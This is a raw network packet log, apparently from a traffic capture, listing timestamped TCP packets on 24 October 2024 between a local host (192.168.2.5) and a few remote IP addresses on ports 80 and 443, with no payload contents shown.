Oct 24, 2024 19:30:14.737560987 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737581968 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737615108 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737695932 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737708092 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737719059 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737730980 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737742901 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737744093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737776041 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737785101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737797022 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737807035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737819910 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737827063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737838984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737854958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737859011 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737867117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737879992 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737878084 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737901926 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737904072 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737917900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.737931013 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.737965107 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738003969 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738015890 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738039970 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738071918 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738140106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738157988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738168955 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738179922 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738189936 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738195896 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738224983 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738255978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738267899 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738277912 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738291025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738298893 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738318920 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738348961 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738468885 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738478899 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738488913 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738501072 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738512039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738529921 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738543987 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738683939 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738694906 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738704920 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738728046 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738748074 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738838911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738851070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738878012 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738895893 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738902092 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738909960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738934994 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738934994 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738948107 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738948107 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738957882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738967896 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.738981962 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.738987923 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739011049 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739039898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739051104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739069939 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739078999 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739090919 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739095926 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739104033 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739110947 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739121914 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739128113 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739135027 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739150047 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739171028 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739257097 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739259958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739268064 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739270926 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739273071 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739276886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739326954 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739356041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739391088 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.739428997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739442110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.739479065 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.836427927 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.836456060 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.836463928 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.836488008 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.836504936 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.836524010 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.836548090 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.836560011 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.836616039 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.859875917 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.859905005 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.859987974 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.859994888 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.860063076 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.860106945 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.871753931 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.871825933 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.873347998 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.873420954 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.873425007 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.873473883 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.883618116 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.883635998 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.883671045 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.883676052 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.886583090 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:14.886634111 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:14.886712074 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:14.887204885 CEST	49989	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:14.887217045 CEST	443	49989	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:14.927300930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927408934 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927457094 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927465916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927476883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927490950 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927489042 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.927509069 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927520037 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.927524090 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.927536964 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.927566051 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.928591967 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928602934 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928615093 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928658962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928668976 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.928670883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928682089 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.928724051 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.928917885 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928929090 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928941011 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.928985119 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929001093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929024935 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929037094 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929075003 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929076910 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929090977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929105997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929119110 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929119110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929132938 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929146051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929158926 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929162025 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929172039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929192066 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929212093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929270983 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929287910 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929305077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929313898 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929320097 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929357052 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929375887 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929389000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929400921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929410934 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929424047 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929435015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929435015 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929447889 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.929467916 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.929492950 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930017948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930028915 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930039883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930053949 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930064917 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930075884 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930088043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930099964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930108070 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930150032 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930180073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930196047 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930207968 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930216074 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930221081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930233002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930248976 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930290937 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930327892 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930340052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930351019 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930365086 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930377960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930386066 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930389881 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930393934 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930413008 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930447102 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930489063 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930500031 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930510998 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930524111 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930529118 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930536032 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930546999 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930547953 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930561066 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930572987 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930578947 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930589914 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930612087 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930663109 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930672884 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930720091 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930833101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930844069 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930855036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930866003 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930876970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930880070 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930890083 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930902958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930906057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930915117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930927038 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930936098 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930942059 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930951118 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930955887 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930977106 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.930985928 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.930996895 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931006908 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931015968 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931029081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931037903 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931067944 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931150913 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931163073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931174040 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931185007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931195974 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931196928 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931217909 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931236029 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931337118 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931353092 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931365013 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931375980 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931380033 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931386948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931413889 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931422949 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931427002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931438923 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931442022 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931452036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931463003 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931472063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931473970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931495905 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931518078 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931730986 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931760073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931775093 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931776047 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931787968 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931801081 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931802034 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931817055 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931824923 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931832075 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931845903 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931853056 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931860924 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931874990 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931883097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931889057 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931901932 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931902885 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931917906 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931921959 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931930065 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931942940 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931956053 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931957960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931971073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.931984901 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.931998014 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932030916 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932111979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932122946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932132959 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932145119 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932154894 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932157040 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932167053 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932173967 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932176113 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932188034 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932208061 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932214975 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932219982 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932231903 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932234049 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932245016 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932265997 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932269096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932281971 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932290077 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932292938 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932306051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932313919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932346106 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932549000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932560921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932573080 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932590961 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932595015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932602882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932607889 CEST	49981	80	192.168.2.5	185.215.113.16
